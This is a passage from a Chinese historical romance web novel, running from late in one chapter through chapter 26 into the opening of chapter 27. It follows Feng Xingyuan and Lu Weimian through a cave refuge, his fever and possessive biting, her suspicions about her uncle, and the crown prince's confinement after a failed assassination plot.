曾经被他全盘推翻的梦境骤然浮现在眼前。 封行渊瞳孔缩紧,视线幽暗地盯着那颗红痣。 人通常不会提前预知还没有发生的事情。 他从来没有见过她这里的红痣。 为什么会梦到这颗痣。 还有她知道他左眼的秘密。 为什么梦里的他,要比现实里的他, 提前预知了这件事。 什么意思。 封行渊瞳孔深处暗流汹涌,左眼红痣与眼前白皙肌肤上的红痣相映衬。 所以梦境后半段,那人说她会利用他的这个秘密伤害他, 也会发生吗? 山洞外火势爆燃一下比一下猛烈, 相比之下, 鹿微眠没有注意到他的异常,而是被爆鸣声惊得轻叫一声, 下意识埋进了少年颈窝里。 另一只手还不忘胡乱地蒙住他的眼睛。 他们两人身上隐隐能够感觉到外面传来的灼烧感。 连带着封行渊体内的暴戾开始灼烧跳动, 不安地在他体内横冲直撞。 他这一次没有再挪开她的手,一动不动地坐在原地。 但心如擂鼓。 但鹿微眠有些熬不住这样的灼热。 她的确胆子小, 即便山洞里没有什么枯枝败叶可以烧,石壁上还都是露水,很难烧进来, 但还是烤得她很是心焦。 鹿微眠小声问着,“你热吗?” 封行渊还沉浸在自己的思绪里,只微微偏了一下头。 鹿微眠已经先行一步,扯下来被溪水浸湿的披风笼罩在他们两个头顶。 潮湿凉爽将外面的灼热阻隔, 连通光线也一并被黑色披风遮挡。 鹿微眠突然觉得自己是个天才。 她正高兴着,回过神来才发现她跪坐在封行渊一条腿上, 少年另一条长腿支起,挡住了她右手边的去路。 左边又是石壁。 他近乎是靠腿将她圈禁在身前。 刚刚抱过的姿势, 这会儿才松开, 因此距离近得无以复加。 鹿微眠察觉到封行渊正看着她,想起正事, “你没事吧。” 周围光线昏暗,封行渊眼底暗色被遮住一部分、被加重一部分,愈发深不可测、难以捉摸。 他的声音很轻,“嗯。” 鹿微眠自言自语地说着,“没事就好,” 她拉了拉披风,他们周身即便是有披风遮挡,但也多少会透光,便又提醒他,“要是还会照疼你的眼睛,你就拉紧一点。” 封行渊走神,所以听岔了,“拉近一点吗?” “不……”鹿微眠发觉他理解错的时候已经晚了,鹿微眠被披风笼罩着拉近距离,动唇间与他不过咫尺毫厘,声音僵硬几分,“不是。” 热气将斗篷上的水珠熏蒸挥发。 方寸之间的空气变得潮湿,甚至有些黏腻。 贴在他们的肌肤上,萌生出更加怪异的感觉。 湿漉漉地有些难受。 封行渊听她说不是,便松手。 披风被打开缝隙,外面的光线透进来,鹿微眠又慌忙拉上。 一来二去,身上被沾湿的衣物混乱地摩挲着。 她那颗红痣也蹭着他身前冰凉的甲衣。 柔软与坚硬碰撞起来的感觉很怪。 封行渊晦暗异瞳牢牢地看着她。 仿佛要将她看穿,“是还是不是?” 鹿微眠垂眸,正与他视线相对,距离更近了,仿佛连气息都混乱地交缠起来。 鹿微眠不知道怎么好了,“先,先这样吧。” 为什么还会觉得热。 鹿微眠不自在地挪了挪身子,才发觉热源来自于身前的人。 他身上的温度似乎天生比她要高一些,前阵子晚间她就感觉到了。 连呼吸都温热许多。 这披风围挡出来的方寸空间好似空气稀薄。 让她喘不上气来。 鹿微眠试图说些话转移注意力,“我还以为你被困在里面了。” 封行渊眼帘低垂,“你怎么知道我会被困在里面。” 鹿微眠眨了眨眼睛,“慕青辞不是想要布防图,眼下又在你执勤最后一天出事,我很难不往这里想。而且从营地都能看见这里出事了。” “我们也没给他布防图啊,”鹿微眠无聊地把玩着自己的衣间裙带,小声嘀咕着,“他是怎么找过来的。” 封行渊沉默良久没有吭声。 思绪还在那个半真半假的梦里。 这会儿只是觉得她坐着他腿的位置,有些发麻。 封行渊动了动膝盖。 鹿微眠毫无预兆地被顶了一下,把玩裙带的动作一顿,慌忙按住他的腿。 慌乱间,她发出了极轻的低吟。 若是寻常,这只不过是突如其来的酥麻带来的抗拒声。 但鹿微眠也不是什么都没经历过。 在意识到自己发出了什么声音,鹿微眠瞬间脸颊涨红,慌忙去看身前人,欲盖弥彰地解释了一句,“别动。” 封行渊的表情看不出什么异常,满是干净纯粹的少年气,真就乖乖没动。 他不动声色地辨别着那声音。 和梦里真像。 好像是她被碰到某处,就会发出的声音。 在梦里,他很爱听。 封行渊鬼使神差地想要再试一下,确认是不是和梦里的声音一样。 但却迟迟没动。 他不知道自己在确认什么。 确认那个梦里的一切都是真的吗? 然后呢,杀了知道他秘密的人吗? 杀了她吗? 鹿微眠庆幸着自己这个夫君是个单纯的,没有多想她声音背后的异样,不至于让场面变得尴尬。 鹿微眠觉得总这样也不是办法。 恰好这会儿身后那股灼烧感缓慢消散,山涧冷风吹过,带起一阵凉意。 应该也没有那么严重了。 鹿微眠出声打破了这场诡异的沉默,“要不然找个什么东西,先蒙住你的眼睛,我们好出去。” 封行渊应了一声。 但鹿微眠左右也没有找到什么合适的布料蒙眼。 她四处看了看,摸到了少年的黑色衣摆。 封行渊先她一步察觉到她的意图,“不要,好脏。” 他嫌弃自己衣摆上沾染的泥土。 鹿微眠觉得确实也是,沾染泥土的东西,怎么好往脸上戴。 “可是也没什么东西了,在山里都弄脏了,什么不脏啊……” 封行渊定定地看着她,视线落到了她的裙带上。 鹿微眠望着他的眼睛,一时没敢确认他的意思。 封行渊似乎也觉得这个要求有点过分,但他这个人,很难放弃自己想要的东西。 “我很快还你一个新的裙带。” 鹿微眠有点难以接受,自己的裙带会绑在一个男人的眼睛上。 但这会儿,他左眼已经被火光刺激得泛红,她好像也无法拒绝他,“很快,是多快。” 封行渊抿唇,“今晚。” 半个时辰后,鹿微眠不自在地坐在山洞里,双手按着自己身上的外衣。 好在男人外衣宽大,乍一看也看不出她里面衣裙松散、不成体统。 封行渊从山洞外走了回来。 他双眼蒙着一条白色蚕丝缎,能模糊地看清事物,因而也不影响活动。 他手上拿着编好的兰花草裙带,走到鹿微眠面前示意。 鹿微眠见到那条兰花草裙带,微微讶异,“你从哪里弄到的兰花?” 兰草叶子编织成条,里面还夹杂着一朵一朵兰花。 竟是意外地精致漂亮。 “北边有一片青潭,边上长了很多兰花,火没烧过去。” 鹿微眠从披着的外衣里偷偷探出一只手,接了过来。 鹿微眠拢了拢外衣,双手在里面捣鼓着什么,冷不丁察觉到异样。 抬头看封行渊还站在这里,拘谨道,“你能不能,回避一下。” 封行渊这才有意识的转过身,走出山洞。 鹿微眠拉下披在外面遮挡的外衣,整理好自己的衣服。 发觉今日的青蓝色衣裙与这条兰花裙带很是相配。 甚至上面的蓝紫色小花都点缀得很是精美。 鹿微眠越看越是喜欢。 倒是没想到封行渊这般心灵手巧。 她在山洞里整理好衣服后,就乖乖地坐在原地等封行渊回来。 这会儿外面的火势已然过去,也没有新的流箭进来,这一片山谷原本就潮湿,也没有蔓延开的火势。 但是他们这里隐隐还是能看见卧龙山的方向亮着橙红光芒,想必其他地方的情况应该不太好。 鹿微眠看着这一片区域很快安静如常,不得不怀疑封行渊是早就知道,故意躲在这里避险的。 她越想越觉得有可能。 封行渊怎么会明知可能有危险,还什么都不做呢。 他一定也想好了后招。 鹿微眠想到这里便放下心来,坐在山洞石块上悠闲地晃着双腿。 又等了两刻钟,封行渊才从外面走了回来。 手里拎着些许烧黑了的干柴,捡了一个火种,很快架了起来升起火堆。 鹿微眠连忙上前,“你不是不能见……” 封行渊解释,“绑着你的裙带,没事。” 鹿微眠被他直白的话语说得一哽,还是控制不住看他的眼睛,耳根泛红。 少年清俊干净的脸上绑着一个女孩子的白色裙带,怎么看都与他纯良外表不符。 封行渊继续解释,“山里冷,过夜需要炭火。” “我正好也需要烤烤头发。” 鹿微眠这才发现他的头发是湿的,“你刚刚是去洗沐了?” 封行渊理所当然地承认,“身上太脏了,不舒服。” 鹿微眠原本以为自己就很爱干净了,但还是比不得他被人算计躲避的路上要洗沐。 “那你小心点,这会儿山里冷了,别着凉。” “无妨,我经常这样。”封行渊一面说着,一面先起身帮鹿微眠铺好晚上睡觉用的东西。 先是几片大芭蕉叶,然后是他之前换下来的外衣,将打湿的披风烤干拿过去盖着。 大抵是累得狠了,鹿微眠没等他头发烤干先睡着了。 深山夜间还是冷的,尤其在山谷地带阴湿的山洞里。 鹿微眠睡着睡着,感觉到身边不远处烧起了一个暖炉。 她本能地趋于暖源之处,磨磨蹭蹭地挪了过去。 直到半夜,鹿微眠醒来才发觉温度不对,比起她平日里抱着的要高不少。 鹿微眠爬起来,发现那个用来盖的披风这会儿全在她身上,身边人不知是压根没找东西盖还是被她抢走了披风,这会儿只着白日里的衣服安静地躺在旁边,但身上是异样的热。 鹿微眠慌忙摸了摸他的额头,才发现他是真的在发热。 她推了推身边人,“封轸!” 没有动静。 按理说他睡觉很轻。 夜间那般折腾还去洗沐,头发也不知道干没干,晚上睡着了也没盖东西。 这铁打的身体都扛不住。 鹿微眠没有照顾生病人的经验。 一时间也不知该怎么办,她想起来自己是带药来的,赶快拿出来自己带来的药,辨别了一番是驱寒毒还是热毒,确认封行渊应该是受寒,便将他扶起来喂药。 封行渊在这时醒了过来,恢复了些意识,但思绪仍然混沌。 鹿微眠解释,“你发热了,得吃药。” 封行渊就这样看着她。 这会儿没有裙带遮蔽,异瞳混沌又幽暗,眼尾浸着红血丝,看起来有些骇人。 鹿微眠有些心颤,“你感觉怎么样?” 封行渊眼帘压低,那极具攻击性的视线盯住的地方,是她的胸口红痣的位置。 可惜现在被遮起来了。 少年恍惚中分不清现实和梦境。 突然伸手,勾住了她的衣襟,然后扯开! 鹿微眠心跳倏然漏了一拍,按住了衣衫,惊吓间没能发出声音。 少年眼底没有丝毫情-色意味,只是看到汹涌起伏间那颗红痣后,漂亮的剑眉轻蹙,眸底流转着异样的情愫。 他骨节分明的手指顺着那颗痣一点点攀爬到她的脖颈,少一用力,握住。 将人拉到面前,“果然是你。” 鹿微眠没懂他什么意思,他的手很快也从她颈间垂下。 看起来像是烧糊涂了。 封行渊陷入清醒的梦境中。 那老者的声音在梦里不断地提醒他,周而复始,“还是尽快解决她为妙。” 他非常清楚。 从前,在这个世上,他永远不会留下任何一个知道他软肋的人。 每个都会是日后伤害他、背叛他的祸患。 杀之永绝后患,是他的信条。 清早,封行渊靠坐在石壁边,眼底闪烁着忽明忽暗的光。 他看着还在睡梦中的少女,听到有人问他,“你在犹豫什么。” 鹿微眠被他的动静弄醒,看见他起来也本能地爬起来,嘟嘟囔囔地问,“你醒了啊。” “你昨晚受风寒高热了,你还记得吗?” 封行渊越过了她的问题,朝她温和地伸手,“过来。” 鹿微眠困顿的起身,大概是习惯了他对待她温和,因此鹿微眠分辨不出来,封行渊刻意示好中隐匿的危险气息。 她坐在他面前,封行渊捏着她的指骨,问:“你知道我左眼不能见光。” 这是一个很危险的问题。 但鹿微眠毫不避讳,“我知道啊。” 她迷迷糊糊地想试试他额头的温度,但是手被抓住,她便学着幼时母亲的动作,将额头抵在了少年额间,半梦半醒地试了一下。 封行渊那句阴戾的“可是现在知道的人都死了”突然被她的动作打断,额头相抵的动作,甚至能看得清她纤细卷翘的睫羽,像是翩跹蝴蝶落在了他的脸上。 鹿微眠还困着,这远远不到她正常的就寝时长,因此所有举动都慢吞吞的。 因此,她抵着他的额头停了很久。 那一双蝶翼也停了很久。 少女身上馨香和温热触碰着他阴暗的灵魂。 然后听到软绵绵一声,“不烧了。” 说话时,气息就落在他唇间。 封行渊后半句“你是怎么知道的”也没能说出口。 鹿微眠知道他不烧了便放下心来,困得更加厉害,“那我再去睡一会儿。” 封行渊坐在原地,看着她躺回去的动作。 脸颊上仿佛还残留着蝴蝶停歇的触感。 他鬼使神差地伸手碰了一下。 鹿微眠这下睡得沉了,再度醒来时,已经被人放进送回营地的马车里。 她赶忙爬起来,掀开门帘询问。 送她回去的侍卫解释说,前去援助的禁军得封提督指令,已经从刺客手中营救到了陛下。 就是要晚点才能回去。 鹿微眠闻言才放下心来。 回到营地已是午后,营地内满是昨夜打斗留下的破败残骸,一些禁军侍卫留在营地打扫。 一部分送回京城,剩余来不及送的,暂时安置在行宫处落脚。 鹿微眠下了马车,迎面看到鹿瑜扶着叶绾前来接她,“父亲母亲!” 两人皆是大喜,快步上前,“你这孩子,真是要吓死母亲。” 叶绾摸了摸鹿微眠的脸,“可有受伤?” 鹿微眠摇头。 看上去她的确也不像是受了伤的样子。 整个人干干净净,脸上一点灰尘都没有。 相比于她,营地里的人反倒是风尘仆仆、灰头土脸的。 鹿瑜见她没事才放下心来,“你怎么突然想要进山?” “还有,你是如何提前知道有刺客的?” 鹿微眠看着鹿瑜,“父亲,若我说,我能提前知道更多呢。” 鹿瑜一时茫然,但也不是不信。 他的确是觉得,自打女儿出嫁后,整个人都不太一样。 但这硝烟漫天的营地着实不是一个适合说话的地方,“咱们先回去。” 鹿微眠跟着鹿瑜回了行宫,见四周没有外人,鹿瑜才道,“周喆的案子已经结了。” “他自己揽下了所有的罪责,在狱中自尽。” 鹿微眠忙问着,“这么重要的案子,才半月就结了?他是当真自尽、还是说被迫自尽?” 鹿瑜到底也不是刑部或者大理寺的办案人,他能做的只有督促结果,再者周围都是同僚,他总不能压着不让人结案。 鹿微眠一时沉默。 这个结果,虽然并不想看到,但也在意料之中。 周喆现在身边无妻儿、无家人,孤家寡人一个最好解决。 她想要的,本就不是周喆吐出什么线索。 而是他作为一个人证,能够让父亲母亲信她,能让朝廷知道有人在筹谋算计一场灾难。 因为当下她孤身一人无法撼动那些人,所以她需要人证。 但同样的,那些暂时无法撼动的人,也不会让这种人证出现。 何况,他们是一群人。 鹿微眠是一个人。 鹿微眠意识到这一点,忽然有些蚍蜉撼树的无力感。 但是她不能停下来。 鹿微眠问,“那他身边,有没有贴身的随侍、管家、家丁?” “听说他早早就变卖了很多家产,家里的东西和下人卖的七七八八,不过为父曾经倒是听他说,他身边还有个聋哑的女侍,也是他的小妾,如今在追查了。” 鹿微眠思忖着,“聋哑的女侍……这怕是也不会知道太多。” 这层层缄口,难以探查。 “所以为父是想问你,你如今这般想要他们招供出来的人,是谁?” 鹿微眠动了动唇,一时不知该不该说。 鹿瑜示意她放心,端起茶盏,“我特意叫你母亲去休息了,放心说。” 鹿微眠看着他,半晌才道,“舅舅。” 鹿瑜端起茶盏的动作一顿,复而又放下,难以置信地重复一遍,“你舅舅?” 鹿微眠朝父亲比了一个噤声的手势。 生怕父亲声音太大,传到隔壁母亲耳中。 其实鹿微眠不敢在叶绾面前多说,也不是怕叶绾会反驳、不相信她。 她更多的是怕母亲承受不了。 就像是有一天,告诉她,她的亲弟弟鹿峥处心积虑想要她死一样,难以接受。 鹿瑜饶是做足了心理准备也想不明白,“为何是你舅舅?” “他与咱们家一向亲近,他若连累我们一家不得安宁,于他又有什么好处。” “那就是,让他这么做的人,许了他更加厉害的好处。可能是太子,也可能是旁人。”鹿微眠怕鹿瑜也不信,握住他的手,“父亲,我知道这很难接受,若我说现如今发生的所有一切,我都经历过一遍,你们可能以为我疯了。” “但我真的不希望那些事情再次发生。您千万要信我。” “是很难接受。” 鹿瑜看了她半晌,缓慢地笑了,小声道,“但阿眠说的话,父亲都信。” * 行宫内能安排住处的屋子都开辟出来,临时安排上来不及回京城的官眷。 京城内多次调兵前来护送,原本称得上是热闹喜庆的氛围,不几日就变成这般肃穆严整的样子。 鹿微眠得在行宫内等封行渊回来才好一起走。 因此住在一处僻静小院子里,同住的还有其他武官的家眷,一间一户。 虽然不太方便,但好在稍微安全一些。 傍晚晚膳过后,鹿微眠听到有人来拜访。 暮云告诉她,“是隔壁禁军统领卫都督的夫人,来送饺饼的。” 这会儿大家在这里一同避险,也有不少人互相分自己的东西,吃食被褥取暖炭火。 鹿微眠瞧着外面女子身着齐胸襦裙,小腹高高隆起,连忙起身,“哎呀* ,快进来。” 这位卫夫人面相和善,被侍女搀扶着进屋,提了一个小食盒,“我来送饺饼,是我自己做的。这几日时运不济,吃饺饼驱邪避害,来年一定顺风顺水。夫人别嫌弃。” “姐姐想着我,我高兴还来不及呢,怎么会嫌弃。”鹿微眠示意她坐下。 她婉言谢绝,“不坐了,我这就回去。” 鹿微眠留不下人,只能送她出去,闲聊时看着她的肚子,“姐姐是几个月了?” 明窈笑着,“六个月了。” 月份不小了,“昨日没受惊吧。” “我没事,还好昨日那群人不是真动手。” 他们的屋子相隔不过两步远。 明窈也很快被鹿微眠送到门口。 鹿微眠折返回屋子的时候,看见封行渊不知什么时候已经回来了。 左右也不过扎眼的功夫,鹿微眠吓了一跳,“你什么时候回来的?” 封行渊好整以暇地坐在座椅上,“瞧见夫人与旁人哥哥姐姐的得聊着亲昵,看不见旁人,便没打扰。” 说话又夹枪带棒的,“人家来给咱们送吃的,我总得送一送。” 鹿微眠走到他面前,“今日如何了?” 少年乖乖地回,“刺客已经全部收押……” “谁问你这个了,”鹿微眠伸手摸到他额头,“我是问你今日身体如何了,还烧不烧?” 封行渊顿住。 小姑娘温热的手贴覆在他额头上, 片刻后,他偏开头,不自在地开口,“小病而已。” 鹿微眠摸着确实不热了,还得是年轻身体好啊。 一个晚上就好了。 她又细看了一会儿,突然发现,“你面具换新的啦。” 大抵是触碰到了什么禁语。 少年条件反射的警觉起来。 他抬眼,看见鹿微眠伸手摸了摸他的新面具,仿佛浑身上下的神经都聚集到了她手指触碰的地方,格外敏感。 封行渊就这么看了她一会儿。 脑海中充斥着昨夜浮现的各种声音,又很快销声匿迹。 鹿微眠误以为他不喜欢别人碰他的面具,规规矩矩地收了手,给了一个评价,“还挺好看的。” 封行渊突然伸手将她拉了下来。 座椅狭小,只能坐下一个人,鹿微眠毫无预兆地坐在了他的腿上。 少年修长漂亮的手指再度握住了她的脖颈,冰凉的手指顺着她颈间跳动的脉络攀爬向上。 鹿微眠身体发僵,冷不丁想起昨晚半夜,他扯开了她的领口又掐住她脖子的动作。 只是这会儿不太一样,他动作称得上轻,没有昨晚那种扼制喉咙的压迫感。 封行渊盯着那血络看了很久,手指上移到下颚,握住。 大手扣住腰身。 鹿微眠纤细地脖颈就被迫展露出来,被他温热的气息熨帖。 这是一个捕食的钳制动作。 她听到他问,“我可以再咬一次吗?” 少年嗓音浑浊,又补充一句,“我轻点。” 第26章 害怕 鹿微眠被迫仰起头, 将最为脆弱的地方暴露出来。 她在某一瞬间有点丧失安全感,抓了下他的衣袖,在犹豫要不要答应他。 封行渊没有给她拒绝的机会。 咬上她颈窝。 鹿微眠瞬间屏气, 紧张之余,才感觉到他的牙齿没有用力。 只是轻轻的压了一下,然后维持这样的动作, 停顿了很久。 在丛林中, 这是在等待猎物的反应。 通常这时, 猎物会以为自己得到了逃跑的机会。 或者是得到了反杀的机会。 猛兽只是在等它展现出自己虚假的软弱与狡猾。 然后用更大的力道压制它,囚困它。 但是鹿微眠只是有点害怕, 抓紧了他的衣袖, 生怕他忘了,小声提醒着, “轻点。” 封行渊压了压眼睫,松开牙关。 她经脉在他舌尖承受安抚。 每跳动一下都能触碰到异样的柔软,却也因此越来越快。 鹿微眠没感觉到被咬, 反倒是感觉到少年的牙齿轻磨她的肌肤,连带着热气熏蒸着她的脖颈。 让她一瞬间浑身上下都烧了起来,脸颊都不受控制地开始发烫。 这根本不是咬。 这力道,反倒比从前咬她更加难耐。 被唇齿触碰过的地方开始发麻发痒, 他牙齿带了攻击性,但舌尖轻如羽毛。 剐蹭着她的神经。 鹿微眠不知道他为什么会有这样的行为, 脑海中突然浮现出“兽性”两个字。 她突然意识到,封轸好像是个原始兽性很强烈的人。 他的很多行为, 是不带情-欲的兽性。 比如现在, 是属于猛兽的试探。 试探她愿不愿意同样交付致命弱点,他是不是可以相信她, 是不是可以接受她。 但是这发展走势太奇怪了,鹿微眠本能地躲避着。 越躲越远。 扣住她下颚的手再度将她拉了回来。 少年咬到了她的耳垂,低音在耳畔响起,“轻了也躲吗?” “疼?” “不是。”鹿微眠难以形容这种感觉。 封行渊听起来是真的在判断力道,“这次没咬坏,没有血印。” 他握住她下颚的修长手指轻敲她颈间经脉,“就是你身上……好红。” 鹿微眠被他说出来,那抹红就蔓延得越来越快。 被他碰过的地方像是燎过一层火苗。 鹿微眠推搡了下,瓮声瓮气地,“别咬了。” 没推开。 封行渊反而将她颈线拉得更开了一些,是在拒绝她的抗拒。 “没用力。” 她知道他没用力。 就是因为没用力……鹿微眠呼吸变得有些急促。 封行渊啃噬着她脆弱的颈,慢条斯理地问道,“夫人会背叛我吗?” 鹿微眠混沌地脑袋根本无法思考他的问题,是本能回答,“不会啊。” 那他好像暂时可以不纠结她知道他弱处的事了。 封行渊齿痕下移,在她领口衣襟透出的那颗红色小痣上停留片刻,而后咬了上去。 “夫人要是背叛我……” 那就捆住锁起来……咬死她好了。 位置有点低,鹿微眠身体震颤了一下,“别……” 她这次用了些力气,挣开了他的手,慌忙从他身上下来。 封行渊盯着那颗红痣。 上面一圈轻微的牙印。 鹿微眠还在羞恼地整理衣服,大抵是觉得窘迫,“你不能随便咬我。” 封行渊望着她,面露不解,“不用力也不行吗?” 鹿微眠浑身上下酸麻得无法解释,“不行就是不行。” 她说完跑去隔间沐浴擦洗。 封行渊看着她身上白里透红,像是山楂馅的水晶圆子。 看起来真的很好咬。 这次没使劲,她为什么反而不愿意了。 封行渊坐在旁边悠游地想着。 片刻后,他突然轻敲了下手边桌案。 许是牙齿硌。 那下次他不用牙了。 鹿微眠手忙脚乱地擦洗掉身上黏腻怪异的感觉,一张脸涨红得像是一颗小山楂。 她回想着刚刚封行渊的表情,也不是故意调戏她,而是一副很认真的模样。 只不过因为她说怕疼,变成不用力的咬。 可鹿微眠也不知道不用力是这样的。 他看起来是真不知道自己在干什么。 鹿微眠胡思乱想着,窗口冷风吹过,鹿微眠突然打了个喷嚏。 她摸了摸鼻梁,快速结束了擦洗沐浴。 这行宫内毕竟是临时居住,沐浴擦洗并不太方便。 鹿微眠换好寝衣出去,不自觉地避着封行渊走,先坐在了榻边,装模作样的收拾床铺。 但是她太渴了想喝水,茶壶又在封行渊旁边。 她这会儿不太好意思过去。 人在尴尬的时候手上总会很忙,就像鹿微眠这会儿也不知道这个床铺到底有什么好收拾的。 直到封行渊起身同样去了隔间沐浴,鹿微眠才把摆了八次的枕头放在了原位。 她探了探头,确认封行渊一时半会儿不会出来,才走到桌边倒水。 鹿微眠顺便将卫夫人送来的饺饼交给暮云,预备着明早当早膳。 交代完之后,她才心满意足地去睡觉。 直到封行渊出来之后,发现自己用过的茶盏…… 被人用了。 封行渊转着手中的杯盏,看向了床榻里的人。 可惜她睡着了。 鹿微眠这一夜睡得天昏地暗,不知天地为何物。 但大概是行宫内如今的炭火稀缺,山里又天冷,鹿微眠身体蜷起来还是觉得寒气侵体。 直到第二天,鹿微眠晨起发觉自己喉间干痛,才意识到,她好像也受寒了。 这会儿封行渊早起去办差,鹿微眠独自坐在床榻上缓了一会儿。 想来也是,他风寒这两日,他们接触这么多。 她多半是没能逃得了。 鹿微眠下床,她染上风寒,与封行渊染上就发热的情况不太一样。 她这会儿还没有发热,只是感觉身上发虚,喉咙不适。 现如今在行宫里,御医都忙着给刺客流乱里受伤的人看诊,没什么功夫管这种小伤小病。 鹿微眠去翻自己带来的药,草草吃了一颗。 暮云知道她受了风,还是不放心,去叫了褚楚过来。 褚楚住处不远,简单给鹿微眠诊了脉,“风寒侵体,你在山里可是受凉了?” 鹿微眠带了个薄纱遮面,“昨日回来还好。” “刚风寒肯定不会立马不舒服,”褚楚知道她的体质,“你这两日还是要注意些,怎么也要休养个三五日不要受风。” 褚楚翻了下药箱,“这阵子伤病的人多,我这里的药物不全了。” “无妨。”鹿微眠拿出来自己吃的药,“我这里备了,封轸前日晚上吃了一颗,一晚上就好了。” 褚楚听着这话,先是看了鹿微眠一眼,而后接过来她递的药,“是他先染上的?” “是啊,”鹿微眠有气无力地撑着下巴,“多半是因他染上的,我以为他好那么快,我就没事了呢。这药是不是挺管用的。” 褚楚无声轻笑了下,“这药就是医治风寒的丹药,也不是灵丹妙药。” “风寒好的快慢、什么病症反应,都依据个人身体情况而有所不同。即便是好了后亲密接触也会染上,所以夫妻在病中要注意些,尤其你本就体弱。” 鹿微眠了然地点头,点到一半顿住,霎时脸颊涨红。 她知道褚楚是误会了,想解释却又想到昨日。 他咬她算是亲密接触吗? 算吧…… 鹿微眠抿唇,憋得整个人越来越红。 “若是他病了,该分房还是得分房。”这没有外人,褚楚是坦荡地交代了许多。 但鹿微眠唇线绷直,满脑子都是些乱七八糟的东西。 “这药先救急,一日两次即可。但回了家还是得看诊,开药调养。” 褚楚递过去一张方子,“若不放心旁人,可以用我这个方子。” 鹿微眠接过来道谢,送褚楚出房门。 屋漏偏逢连夜雨,鹿微眠折返回来坐下,隐约感觉到小腹坠痛。 这般熟悉的感觉,让鹿微眠瞬间放下了手里的东西,跑去了净室。 还真是月事来了。 * 行宫大殿内,御医和宫人来来往往。 皇帝坐于高台上,褚裕站在旁边帮衬着更换皇帝手臂上的烧伤,询问着下面的禁军统领,“抓到的逆贼交代了吗?” 卫沉低头,“陛下恕罪,抓到的逆贼,乃死士,被俘后全数服毒自尽。” 皇帝沉眸,“那那个逆子呢?找到了吗?” 封行渊站在一侧默不作声地看着。 直到殿外传来通报,“陛下,太子殿下找来了。” 皇帝面色沉了下来,抬手,示意褚裕先退下,而后吩咐,“让他进来。” 慕青辞一身白衣染血,不似从前洁净。 他风尘仆仆踏进殿中,步履匆忙,开口便是一句急促的,“还好父皇没事。” 皇帝看着他,仿佛听到了什么笑话,“还好?” 他拂袖起身,“朕还以为,你会很失望。” 慕青辞诧异道,“父皇何出此言?” 皇帝缓步走到慕青辞面前,“你那日,为何会带兵出现在那里,给朕设下陷阱?” 慕青辞凝眉摇头,立马跪下行礼,“父皇!儿臣是在附近围猎,在路上不小心抓到了可疑之人,一番逼问才知,是有人突破了布防,送进来刺客企图对父皇不轨。” “儿臣当即给封提督送信,却怎么也找不到他,无奈之下只能根据那刺客的逼供,前去卧龙山救驾!” “谁料,卧龙山有刺客埋伏,儿臣与他们好一番交战,想要替父皇吸引火力,怎么如今父皇竟然怀疑儿臣与逆贼为同党?!” 皇帝垂眸看着他,似是在判断他说话真假。 “儿臣的性子父皇最是了解,何况儿臣已是太子十数年,父皇一手培养,因何要做如此大逆不道之事?” “是啊。”皇后也连忙道,“青辞已是太子,深得陛下器重,又何须如此?” 慕青辞字字句句滴水不漏,“刺杀不成,在此等危机之下,只有始作俑者才会想要我们父子离心,让父皇痛失臂膀,他好趁虚而入。” “不知是谁,与父皇说了离间之言?兴许就是这场谋逆的始作俑者。” 慕青辞看向了一旁的封行渊。 封行渊面色平静,触及慕青辞的视线,饶有兴致地扬眉。 巧了,不是他。 “噗通”一声。 禁军统领卫沉闻言单膝下跪,“陛下明察,臣岂敢离间!” “臣等前去卧龙山救驾,而太子殿下曾经的亲信覃琏在山下与我碰面,却要杀我,若是殿下要救驾,为何要与吾等禁军厮杀?殿下该不会想说,是他没认出来我们的衣着是禁军?” 慕青辞面露疑惑,“覃琏?” 皇帝审视着慕青辞,“怎么?他不是你的亲信?” “回父皇,覃琏曾经确是儿臣亲信,但两月前因为滥用职权在外打架被儿臣赶出了东宫,已经许久不见了。” “陛下,覃琏被臣刺成重伤,要么是跑不远,要么被人藏匿起来。”卫沉扬声,“臣恳求陛下准臣通缉覃琏,查证幕后真凶,以证臣等并非挑拨离间、歪曲事实。” “准。”皇帝嗓音浑厚,“朕给你半月时间,由封提督监管。” “太子,暂且幽禁东宫,未得诏令不得擅自离开。” 慕青辞闻言便知,这一局不仅没能让封轸顶上个谋逆的罪名。 反倒让他把自己套了进去。 慕青辞面色坦然,行大礼,“儿臣行事坦荡,无愧于心,全凭父皇安排。” 此番做派,实在是很难让人相信,这个清风霁月的男人会弑父。 连皇帝自己也有些动摇。 慕青辞起身,被带离大殿。 长风卷起衣袖,他如同世间的一块美玉。 而他知道,他的心是黑的。 慕青辞暗自盘算着。 父皇此番被封轸营救,对封轸深信不疑。 甚至他言语暗示都没让父皇动摇,旁敲侧击没打中封轸,反倒打中了卫沉。 父皇对他、对卫沉都起了疑心。 他更不宜再胡乱攀咬封轸。 何况如果真的抓到了覃琏,严刑拷打逼问出来的一定是他。 因为这就是他做的局。 封轸到底为什么可以提前预知又做得如此周密。 甚至作壁上观,就能渔翁得利。 他明明拿到了鹿微眠的布防图……对,布防图。 毕竟那东西,是他以防备之名要来的。 阿眠生性单纯,即便是怪他怨他,不想再与他来往,但念在旧情也不会不答应他这等“自保”的要求。 慕青辞眉头紧锁,他从没怀疑过,阿眠给他的东西会有问题。 阿眠会害他? 慕青辞停住脚步,刚巧封行渊从他身边路过。 封行渊友善地与他打了声招呼,“殿下为了臣,下了如此大一盘棋,臣真是受宠若惊。” 慕青辞气笑了,“封轸,别装。” 他面色依然温和,从远处看,还以为他们两个交情甚好。 但慕青辞说出来的话却是,“孤不怕输,孤就怕你弄不死我。” 封行渊轻“啧”一声,“殿下靠臣的血活下来,这般丧气话臣听了也难受。” 他说完,径直离开。 慕青辞笑着咬了咬牙。 好一个封行渊。 他真的该早点杀了他。 * 鹿微眠身子乏累,又是在病中,也不好出门跟隔壁屋的夫人们闲聊。 她只能老老实实地待在屋里,门窗紧闭。 封行渊回来的时候,已经时至深夜,鹿微眠早早地吃过药躺了下来。 她听见他进来才撑起身子道,“你回来了。” 封行渊进门,察觉到不对,“你怎么了?” “我也染上风寒了。”鹿微眠指了指床榻对面的一张罗汉床,“你今晚可以跟我分床睡。” 封行渊缓步上前,盯着床榻上只着寝裙满脸虚弱的小姑娘判断着什么,“你受伤了。” 有血腥味。 他对血腥味很是敏感。 鹿微眠被问得一头雾水,“没有啊。” 封行渊自动忽略了她说的分床睡,不紧不慢地挽起了袖子,“伤到哪里了?给我看看。” “我真的没有……”鹿微眠话还没说完,他高大的身形阴影就将她完全笼罩在榻间。 他像是一只拥有敏锐嗅觉的小兽,自己就能寻着血腥味找到地方。 鹿微眠的膝盖毫无预兆地被一只大手握住! 第27章 伤口 少年指骨修长、骨节分明, 